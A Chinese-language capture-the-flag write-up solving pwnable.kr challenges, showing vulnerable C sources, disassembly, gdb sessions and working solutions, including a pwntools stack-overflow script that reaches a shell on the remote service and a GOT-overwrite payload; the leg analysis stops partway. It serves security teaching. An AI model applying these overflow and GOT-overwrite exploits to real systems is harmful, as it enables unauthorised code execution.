pwnable.kr 题解一

0x01 fd

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;
}

文件描述符 0、1、2分别代表标准输入、标准输出和标准错误,所以输入0x1234的十进制值,再次输入LETMEWIN即可

0x02 collision

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];  //把传过来的参数强制转换为整数相加返回
    }
    return res;
}

int main(int argc, char* argv[]){
    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }

    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }
    else
        printf("wrong passcode.\n");
    return 0;
}

这个问题的关键是我们输入20字节的数据被转换成了什么,20字节,每个字节都表示一个字符,但是一个整形数据是四个字节,所以,就被转换成了五个整形数据。这里输入的前几个字符好像不能是\x00,因为它表示null,\x09表示的是制表符,

  • 输入:
col@ubuntu:~$ ./col `python -c "print '\x01\x01\x01\x01'*4+'\xe8\x05\xd9\x1d'"`
daddy! I just managed to create a hash collision :)
  • 得到:
    flag: daddy! I just managed to create a hash collision :)

0x03 bof

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

很明显的栈溢出 使用了gets这个危险的函数,直接附上代码

from pwn import *
conn= remote("pwnable.kr",9000)
payload='A'*52 + p32(0xcafebabe)
conn.sendline(payload)
conn.interactive()

flag:daddy, I just pwned a buFFer :)

0x04 flag

1 首先得到了一个flag文件 elf-64位,IDA查看发现

LOAD:000000000044A4F0 start           proc near
LOAD:000000000044A4F0                 call    loc_44A770
LOAD:000000000044A4F5                 push    rbp
LOAD:000000000044A4F6                 push    rbx
LOAD:000000000044A4F7                 push    rcx
LOAD:000000000044A4F8                 push    rdx
LOAD:000000000044A4F9                 add     rsi, rdi
LOAD:000000000044A4FC                 push    rsi
LOAD:000000000044A4FD                 mov     rsi, rdi
LOAD:000000000044A500                 mov     rdi, rdx
LOAD:000000000044A503                 xor     ebx, ebx
LOAD:000000000044A505                 xor     ecx, ecx
LOAD:000000000044A507                 or      rbp, 0FFFFFFFFFFFFFFFFh
LOAD:000000000044A50B                 call    sub_44A560
LOAD:000000000044A510                 add     ebx, ebx
LOAD:000000000044A512                 jz      short loc_44A516
LOAD:000000000044A514                 rep retn
  1. 明显的UPX压缩过了,以上代码是UPX的入口
  2. upx -d flag 解压缩后,再次使用IDA查看关键位置
.text:0000000000401164                 public main
.text:0000000000401164 main            proc near               ; DATA XREF: _start+1D�o
.text:0000000000401164
.text:0000000000401164 var_8           = qword ptr -8
.text:0000000000401164
.text:0000000000401164                 push    rbp
.text:0000000000401165                 mov     rbp, rsp
.text:0000000000401168                 sub     rsp, 10h
.text:000000000040116C                 mov     edi, offset aIWillMallocAnd ; "I will malloc() and strcpy the flag the"...
.text:0000000000401171                 call    puts
.text:0000000000401176                 mov     edi, 64h
.text:000000000040117B                 call    malloc
.text:0000000000401180                 mov     [rbp+var_8], rax
.text:0000000000401184                 mov     rdx, cs:flag
.text:000000000040118B                 mov     rax, [rbp+var_8]
.text:000000000040118F                 mov     rsi, rdx
.text:0000000000401192                 mov     rdi, rax
.text:0000000000401195                 call    sub_400320
.text:000000000040119A                 mov     eax, 0
.text:000000000040119F                 leave
.text:00000000004011A0                 retn
.text:00000000004011A0 main            endp
  1. 然后跟进flag查看
.rodata:0000000000496628 aUpx___?SoundsL db 'UPX...? sounds like a delivery service :)',0

0x05 passcode

#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;   
}

查看源码我们注意到这个程序在输入passcode的时候,是没有取地址符的,这就导致了一个安全问题

  • 这里有个知识点:如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址

在调用welcome函数和login函数处下断点查看栈的变化情况,此时ebp为EBP: EBP: 0xbffff408 --> 0xbffff428 --> 0x0

[----------------------------------registers-----------------------------------]
EAX: 0x28 ('(')
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xb7fb4870 --> 0x0 
ESI: 0xb7fb3000 --> 0x1aedb0 
EDI: 0xb7fb3000 --> 0x1aedb0 
EBP: 0xbffff408 --> 0xbffff428 --> 0x0 
ESP: 0xbffff408 --> 0xbffff428 --> 0x0 
EIP: 0x804860c (<welcome+3>:    sub    esp,0x88)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048604 <login+160>:   call   0x8048480 <exit@plt>
   0x8048609 <welcome>: push   ebp
   0x804860a <welcome+1>:   mov    ebp,esp
=> 0x804860c <welcome+3>:   sub    esp,0x88
   0x8048612 <welcome+9>:   mov    eax,gs:0x14
   0x8048618 <welcome+15>:  mov    DWORD PTR [ebp-0xc],eax
   0x804861b <welcome+18>:  xor    eax,eax
   0x804861d <welcome+20>:  mov    eax,0x80487cb
[------------------------------------stack-------------------------------------]
0000| 0xbffff408 --> 0xbffff428 --> 0x0 
0004| 0xbffff40c --> 0x804867f (<main+26>:  call   0x8048564 <login>)
0008| 0xbffff410 --> 0x80487f0 ("Toddler's Secure Login System 1.0 beta.")
0012| 0xbffff414 --> 0x8048250 --> 0x6e ('n')
0016| 0xbffff418 --> 0x80486a9 (<__libc_csu_init+9>:    add    ebx,0x194b)
0020| 0xbffff41c --> 0x0 
0024| 0xbffff420 --> 0xb7fb3000 --> 0x1aedb0 
0028| 0xbffff424 --> 0xb7fb3000 --> 0x1aedb0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804860c in welcome ()

我们运行到login函数里边的scanf函数处,发现此时的ebp的值仍然和welcome的时候一样

gdb-peda$ 

[----------------------------------registers-----------------------------------]
EAX: 0x8048783 --> 0x65006425 ('%d')
EBX: 0x0 
ECX: 0x0 
EDX: 0xb7e630db (<_IO_puts+11>: add    ebx,0x14ff25)
ESI: 0xb7fb3000 --> 0x1aedb0 
EDI: 0xb7fb3000 --> 0x1aedb0 
EBP: 0xbffff408 --> 0xbffff428 --> 0x0 
ESP: 0xbffff3e0 --> 0x8048783 --> 0x65006425 ('%d')
EIP: 0x8048586 (<login+34>: call   0x80484a0 <__isoc99_scanf@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804857c <login+24>:    mov    edx,DWORD PTR [ebp-0x10]
   0x804857f <login+27>:    mov    DWORD PTR [esp+0x4],edx
   0x8048583 <login+31>:    mov    DWORD PTR [esp],eax
=> 0x8048586 <login+34>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x804858b <login+39>:    mov    eax,ds:0x804a02c
   0x8048590 <login+44>:    mov    DWORD PTR [esp],eax
   0x8048593 <login+47>:    call   0x8048430 <fflush@plt>
   0x8048598 <login+52>:    mov    eax,0x8048786
Guessed arguments:
arg[0]: 0x8048783 --> 0x65006425 ('%d')
arg[1]: 0xb7e630db (<_IO_puts+11>:  add    ebx,0x14ff25)
[------------------------------------stack-------------------------------------]
0000| 0xbffff3e0 --> 0x8048783 --> 0x65006425 ('%d')
0004| 0xbffff3e4 --> 0xb7e630db (<_IO_puts+11>: add    ebx,0x14ff25)
0008| 0xbffff3e8 --> 0x0 
0012| 0xbffff3ec --> 0xb7fb3d60 --> 0xfbad2a84 
0016| 0xbffff3f0 --> 0xbffff428 --> 0x0 
0020| 0xbffff3f4 --> 0xb7feff10 (<_dl_runtime_resolve+16>:  pop    edx)
0024| 0xbffff3f8 --> 0xb7e630db (<_IO_puts+11>: add    ebx,0x14ff25)
0028| 0xbffff3fc --> 0x2cf92300 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048586 in login ()
gdb-peda$ 
enter passcode1 : 

这样的话,我们需要用到以下知识

  • GOT表:

概念:每一个外部定义的符号在全局偏移表(Global offset Table)中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。

作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld。

  • PLT表:

过程连接表(Procedure Linkage Table),一个PLT条目对应一个GOT条目

当main()函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()函数,rtld得以调用就可以定位printf的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。

动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.

  • 解题思路

将一个GOT表中的函数地址写到栈中,用来充当scanf()取的地址,然后把system("/bin/cat flag")这条指令的地址写到这个GOT表中的函数。

当这个函数被调用时,就会直接执行system("/bin/cat flag")

仔细观察我们会发现: 这里调用了fflush函数,因此我们可以覆盖fflush在GOT表中的内容,让程序去执行system("/bin/cat flag")

=> 0x8048586 <login+34>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x804858b <login+39>:    mov    eax,ds:0x804a02c
   0x8048590 <login+44>:    mov    DWORD PTR [esp],eax
   0x8048593 <login+47>:    call   0x8048430 <fflush@plt>
gdb-peda$ disas login
Dump of assembler code for function login:
   0x08048564 <+0>: push   ebp
   0x08048565 <+1>: mov    ebp,esp
   0x08048567 <+3>: sub    esp,0x28
   0x0804856a <+6>: mov    eax,0x8048770
   0x0804856f <+11>:    mov    DWORD PTR [esp],eax
   0x08048572 <+14>:    call   0x8048420 <printf@plt>
   0x08048577 <+19>:    mov    eax,0x8048783
   0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:    mov    DWORD PTR [esp],eax
   0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:    mov    eax,ds:0x804a02c
   0x08048590 <+44>:    mov    DWORD PTR [esp],eax
   0x08048593 <+47>:    call   0x8048430 <fflush@plt>
   0x08048598 <+52>:    mov    eax,0x8048786
   0x0804859d <+57>:    mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:    call   0x8048420 <printf@plt>
   0x080485a5 <+65>:    mov    eax,0x8048783
   0x080485aa <+70>:    mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:    mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:    mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:    mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:    call   0x8048450 <puts@plt>
   0x080485c5 <+97>:    cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:   jne    0x80485f1 <login+141>
   0x080485ce <+106>:   cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:   jne    0x80485f1 <login+141>
   0x080485d7 <+115>:   mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:   call   0x8048450 <puts@plt>
   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af  //这里是调用system函数的地方,也就是说要把0x80485e3这个值写入fflush()中
   0x080485ea <+134>:   call   0x8048460 <system@plt>
   0x080485ef <+139>:   leave  
   0x080485f0 <+140>:   ret    
   0x080485f1 <+141>:   mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:   call   0x8048450 <puts@plt>
   0x080485fd <+153>:   mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:   call   0x8048480 <exit@plt>
End of assembler dump.
gdb-peda$ 

查看fflush在got表中的位置:

passcode@ubuntu:~$ readelf -r passcode

Relocation section '.rel.dyn' at offset 0x388 contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ff0  00000606 R_386_GLOB_DAT    00000000   __gmon_start__
0804a02c  00000b05 R_386_COPY        0804a02c   stdin@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x398 contains 9 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a000  00000107 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804a004  00000207 R_386_JUMP_SLOT   00000000   fflush@GLIBC_2.0
0804a008  00000307 R_386_JUMP_SLOT   00000000   __stack_chk_fail@GLIBC_2.4
0804a00c  00000407 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
0804a010  00000507 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
0804a014  00000607 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a018  00000707 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0
0804a01c  00000807 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804a020  00000907 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7

fflush()位于0x0804a004

现在我们明确了攻击的方式,以数据0x80485e3覆写位于0x0804a004的fflush()函数的GOT表,之后要做的就是在栈中构造这些信息,而且welocome()和login()使用的是同一个EBP

name 的位置: ebp-0x70 (0x0xbffff408 - 0x70)

[-------------------------------------code-------------------------------------]
   0x804861d <welcome+20>:  mov    eax,0x80487cb
   0x8048622 <welcome+25>:  mov    DWORD PTR [esp],eax
   0x8048625 <welcome+28>:  call   0x8048420 <printf@plt>
=> 0x804862a <welcome+33>:  mov    eax,0x80487dd
   0x804862f <welcome+38>:  lea    edx,[ebp-0x70]
   0x8048632 <welcome+41>:  mov    DWORD PTR [esp+0x4],edx
   0x8048636 <welcome+45>:  mov    DWORD PTR [esp],eax
   0x8048639 <welcome+48>:  call   0x80484a0 <__isoc99_scanf@plt>
[------------------------------------stack-------------------------------------]

passcode 的位置: ebp-0x10 (0x0xbffff408 - 0x10)

[-------------------------------------code-------------------------------------]
   0x804856f <login+11>:    mov    DWORD PTR [esp],eax
   0x8048572 <login+14>:    call   0x8048420 <printf@plt>
   0x8048577 <login+19>:    mov    eax,0x8048783
=> 0x804857c <login+24>:    mov    edx,DWORD PTR [ebp-0x10]
   0x804857f <login+27>:    mov    DWORD PTR [esp+0x4],edx
   0x8048583 <login+31>:    mov    DWORD PTR [esp],eax
   0x8048586 <login+34>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x804858b <login+39>:    mov    eax,ds:0x804a02c
[------------------------------------stack-------------------------------------]
|低地址
|        name  ebp-70
|
|
|
|
|        passcode ebp-10   |
|高地址  ebp               |  login 函数开辟的栈空间小,所以name过小的话看不到

0x70 - 0x10 = 96,也就是说name这个字符串第96个字节后的4字节数据将会被作为passcode1的地址。

刚才说我们把调用system函数的地方,也就是说要把0x80485e3这个值写入fflush()中,而且fflush的地址0x0804a004

所以构造python -c "print ('a'*96+'\x04\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode

相当于把134514147 这个值写入got表中fflush的位置直接调用了system("/bin/cat flag")函数
,把passcode1的地址覆盖成fflush或者printf或者exit的地址,然后利用scanf函数把system的地址覆写过去。这样等调用fflush或者printf或者exit的就调用成了system。

flag:Sorry mom.. I got confused about scanf usage :(

【参考链接】:

详解GOT表覆写攻击技术

0x06 random

#include <stdio.h>

int main(){
    unsigned int random;
    random = rand();    // random value!

    unsigned int key=0;
    scanf("%d", &key);

    if( (key ^ random) == 0xdeadbeef ){
        printf("Good!\n");
        system("/bin/cat flag");
        return 0;
    }

    printf("Wrong, maybe you should try 2^32 cases.\n");
    return 0;
}
  • 产生整数rand的原理是:

y=(ax+b)(mod n)。其中n一般是一个很大的素数(几万)。a也是大素数,而且a,b,n都是常数。所以rand的产生决定于x,他被称seed。每一个seed都是上一次产生的y的函数。这样,如果直接取seed=y的话,虽然产生的rand之间相关性甚小,但只要知道某个y,就能推知以后的rand。 为避免这种情况,一般取seed为y和当时计算机的时间的函数,如seed=y+t系统里的随机数是利用初等数论中的同余定理来实现的. 比如C中对于rand()函数是如下实现的.

unsigned long int next = 1;
/* rand:  return pseudo-random integer on 0..32767 */
int rand(void)
{
    next = next * 1103515245 + 12345;
    return (unsigned int)(next / 65536) % 32768;
}
/* srand:  set seed for rand() */
void srand(unsigned int seed)
{
    next = seed;
}

因此只需要:

#include <stdio.h>

int main(){
    unsigned int random;
    random = rand();        // random value!
    printf("%d",random ^ 0xdeadbeef);
    return 0;
}

编译运行后得到:-1255736440

random@ubuntu:~$ ./random
-1255736440
Good!
Mommy, I thought libc random is unpredictable...
random@ubuntu:~$ 

0x07 input

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
    printf("Welcome to pwnable.kr\n");
    printf("Let's see if you know how to give input to program\n");
    printf("Just give me correct inputs then you will get the flag :)\n");

    // argv
    if(argc != 100) return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n"); 

    // stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
    read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
    printf("Stage 2 clear!\n");
    
    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");

    // file
    FILE* fp = fopen("\x0a", "r");
    if(!fp) return 0;
    if( fread(buf, 4, 1, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n"); 

    // network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 4, 0) != 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
    printf("Stage 5 clear!\n");

    // here's your flag
    system("/bin/cat flag");    
    return 0;
}

解题脚本:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
 
int main (){
    //Stage 1
    char *argv[101] = {"/home/input2/input", [1 ... 99] = "A", NULL};
    argv['A'] = "\x00";
    argv['B'] = "\x20\x0a\x0d";
    argv['C'] = "55555";
     
    //Stage 2
    int pipe2stdin[2] = {-1,-1};
    int pipe2stderr[2] = {-1,-1};
    pid_t childpid;
 
    if ( pipe(pipe2stdin) < 0 || pipe(pipe2stderr) < 0){
        perror("Cannot create the pipe");
        exit(1);
    }
     
    //Stage 4
    FILE* fp = fopen("\x0a","w");
    fwrite("\x00\x00\x00\x00",4,1,fp);
    fclose(fp);
 
    if ( ( childpid = fork() ) < 0 ){
        perror("Cannot fork");
        exit(1);
    }
     
    if ( childpid == 0 ){
                /* Child process */
        close(pipe2stdin[0]); close(pipe2stderr[0]); // Close pipes for reading 
        write(pipe2stdin[1],"\x00\x0a\x00\xff",4);
        write(pipe2stderr[1],"\x00\x0a\x02\xff",4);
         
    } 
    else {
        /* Parent process */
        close(pipe2stdin[1]); close(pipe2stderr[1]);   // Close pipes for writing
        dup2(pipe2stdin[0],0); dup2(pipe2stderr[0],2); // Map to stdin and stderr 
        close(pipe2stdin[0]); close(pipe2stderr[1]);   // Close write end (the fd has been copied before)
        // Stage 3
        char *env[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};
        execve("/home/input2/input",argv,env);   // Execute the program  
        perror("Fail to execute the program");
        exit(1);
    }
 
        // Stage 5
        sleep(5);
        int sockfd;
        struct sockaddr_in server;
        sockfd = socket(AF_INET,SOCK_STREAM,0);
        if ( sockfd < 0){
            perror("Cannot create the socket");
            exit(1);
        }
        server.sin_family = AF_INET;
        server.sin_addr.s_addr = inet_addr("127.0.0.1");
        server.sin_port = htons(55555);
        if ( connect(sockfd, (struct sockaddr*) &server, sizeof(server)) < 0 ){
            perror("Problem connecting");
            exit(1);
        }
        printf("Connected\n");
        char buf[4] = "\xde\xad\xbe\xef";
        write(sockfd,buf,4);
        close(sockfd);
        return 0;
}

scp -P 2222 inputpwn.c input2@pwnable.kr:/tmp

ln -s /home/input/flag flag

gcc inputpwn.c -o input

./input

flag:Mommy! I learned how to pass various input in Linux :)

0x08 leg

#include <stdio.h>
#include <fcntl.h>
int key1(){
    asm("mov r3, pc\n");
}
int key2(){
    asm(
    "push   {r6}\n"
    "add    r6, pc, $1\n"
    "bx r6\n"
    ".code   16\n"
    "mov    r3, pc\n"
    "add    r3, $0x4\n"
    "push   {r3}\n"
    "pop    {pc}\n"
    ".code  32\n"
    "pop    {r6}\n"
    );
}
int key3(){
    asm("mov r3, lr\n");
}
int main(){
    int key=0;
    printf("Daddy has very strong arm! : ");
    scanf("%d", &key);
    if( (key1()+key2()+key3()) == key ){
        printf("Congratz!\n");
        int fd = open("flag", O_RDONLY);
        char buf[100];
        int r = read(fd, buf, 100);
        write(0, buf, r);
    }
    else{
        printf("I have strong leg :P\n");
    }
    return 0;
}
(gdb) disass main
Dump of assembler code for function main:
   0x00008d3c <+0>: push    {r4, r11, lr}
   0x00008d40 <+4>: add r11, sp, #8
   0x00008d44 <+8>: sub sp, sp, #12
   0x00008d48 <+12>:    mov r3, #0
   0x00008d4c <+16>:    str r3, [r11, #-16]
   0x00008d50 <+20>:    ldr r0, [pc, #104]  ; 0x8dc0 <main+132>
   0x00008d54 <+24>:    bl  0xfb6c <printf>
   0x00008d58 <+28>:    sub r3, r11, #16
   0x00008d5c <+32>:    ldr r0, [pc, #96]   ; 0x8dc4 <main+136>
   0x00008d60 <+36>:    mov r1, r3
   0x00008d64 <+40>:    bl  0xfbd8 <__isoc99_scanf>
   0x00008d68 <+44>:    bl  0x8cd4 <key1>
   0x00008d6c <+48>:    mov r4, r0
   0x00008d70 <+52>:    bl  0x8cf0 <key2>
   0x00008d74 <+56>:    mov r3, r0
   0x00008d78 <+60>:    add r4, r4, r3
   0x00008d7c <+64>:    bl  0x8d20 <key3>
   0x00008d80 <+68>:    mov r3, r0
   0x00008d84 <+72>:    add r2, r4, r3
   0x00008d88 <+76>:    ldr r3, [r11, #-16]
   0x00008d8c <+80>:    cmp r2, r3
   0x00008d90 <+84>:    bne 0x8da8 <main+108>
   0x00008d94 <+88>:    ldr r0, [pc, #44]   ; 0x8dc8 <main+140>
   0x00008d98 <+92>:    bl  0x1050c <puts>
   0x00008d9c <+96>:    ldr r0, [pc, #40]   ; 0x8dcc <main+144>
   0x00008da0 <+100>:   bl  0xf89c <system>
   0x00008da4 <+104>:   b   0x8db0 <main+116>
   0x00008da8 <+108>:   ldr r0, [pc, #32]   ; 0x8dd0 <main+148>
   0x00008dac <+112>:   bl  0x1050c <puts>
   0x00008db0 <+116>:   mov r3, #0
   0x00008db4 <+120>:   mov r0, r3
   0x00008db8 <+124>:   sub sp, r11, #8
   0x00008dbc <+128>:   pop {r4, r11, pc}
   0x00008dc0 <+132>:   andeq   r10, r6, r12, lsl #9
   0x00008dc4 <+136>:   andeq   r10, r6, r12, lsr #9
   0x00008dc8 <+140>:           ; <UNDEFINED> instruction: 0x0006a4b0
   0x00008dcc <+144>:           ; <UNDEFINED> instruction: 0x0006a4bc
   0x00008dd0 <+148>:   andeq   r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>: add r11, sp, #0
   0x00008cdc <+8>: mov r3, pc
   0x00008ce0 <+12>:    mov r0, r3
   0x00008ce4 <+16>:    sub sp, r11, #0
   0x00008ce8 <+20>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008cec <+24>:    bx  lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>: add r11, sp, #0
   0x00008cf8 <+8>: push    {r6}        ; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:    add r6, pc, #1
   0x00008d00 <+16>:    bx  r6
   0x00008d04 <+20>:    mov r3, pc
   0x00008d06 <+22>:    adds    r3, #4
   0x00008d08 <+24>:    push    {r3}
   0x00008d0a <+26>:    pop {pc}
   0x00008d0c <+28>:    pop {r6}        ; (ldr r6, [sp], #4)
   0x00008d10 <+32>:    mov r0, r3
   0x00008d14 <+36>:    sub sp, r11, #0
   0x00008d18 <+40>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008d1c <+44>:    bx  lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008d24 <+4>: add r11, sp, #0
   0x00008d28 <+8>: mov r3, lr
   0x00008d2c <+12>:    mov r0, r3
   0x00008d30 <+16>:    sub sp, r11, #0
   0x00008d34 <+20>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008d38 <+24>:    bx  lr
End of assembler dump.
(gdb) 
  • 先看key1():
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>: add r11, sp, #0
   0x00008cdc <+8>: mov r3, pc
   0x00008ce0 <+12>:    mov r0, r3
   0x00008ce4 <+16>:    sub sp, r11, #0
   0x00008ce8 <+20>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008cec <+24>:    bx  lr
End of assembler dump.

关键部分是

   0x00008cdc <+8>: mov r3, pc
   0x00008ce0 <+12>:    mov r0, r3

这里先科普一下网上找到的资料:


1  返回值:
1) X86采用eax作为返回值。
return i;          2d: 89 c0                        mov    %eax,%eax

2) ARM使用r0作为返回值。
RETURN I;      4C: E1A00003            MOV R0, R3

2 参数传递
1) X86:主要是采用堆栈,除非指定以寄存器传递(通过"regparm (NUMBER)"注:NUMBER<=3指定)。
如果指定寄存器传递参数,则eax为第一个参数,edx为第二个参数, ecx为第三个参数。
int hello(int );
t=hello(13);              9: 6a 0d            push  $0xd
                              b: e8 fc ff ff ff      call  <hello>
2) ARM:寄存器到堆栈,首先将参数赋给r0, r1等,同时,未经优化的代码,在函数的堆栈中,也会为每个参数预留一个参数堆栈。
ARM的参数结构看起来比较奇怪,对其的解释是:出于效率考虑,如果在函数中的寄存器足够分配的话,则经过优化后,它不会进栈,而直接使用寄存器即可。这样的方式可以保证优化只局限于函数内部,实际上一般使用-O优化过的代码最终普遍在函数中不再进栈的。
int hello(int );
t=hello(13);

未优化: 10: e3a0000d  mov r0, #13 ; 0xd 
            14: ebfffffe      bl <hello>
            ... ...
            <hello>
            ......
            3c: e50b0010  str r0, [fp, -#16]
优化后:-O选项
            4: e3a0000d  mov r0, #13 ;
            ...
            bl <hello>
            ...
          1c: e1a0f00e  mov pc, lr

参考:

ARM状态结构小记 http://blog.csdn.net/qq_19550513/article/details/62038580

ARM寄存器结构小记 http://blog.csdn.net/qq_19550513/article/details/62044295

所以 R0 = R3 = 0x00008cdc + 8 = 0x00008ce4

  • 看key2():
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>: add r11, sp, #0
   0x00008cf8 <+8>: push    {r6}        ; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:    add r6, pc, #1
   0x00008d00 <+16>:    bx  r6
   0x00008d04 <+20>:    mov r3, pc
   0x00008d06 <+22>:    adds    r3, #4
   0x00008d08 <+24>:    push    {r3}
   0x00008d0a <+26>:    pop {pc}
   0x00008d0c <+28>:    pop {r6}        ; (ldr r6, [sp], #4)
   0x00008d10 <+32>:    mov r0, r3
   0x00008d14 <+36>:    sub sp, r11, #0
   0x00008d18 <+40>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008d1c <+44>:    bx  lr
End of assembler dump.

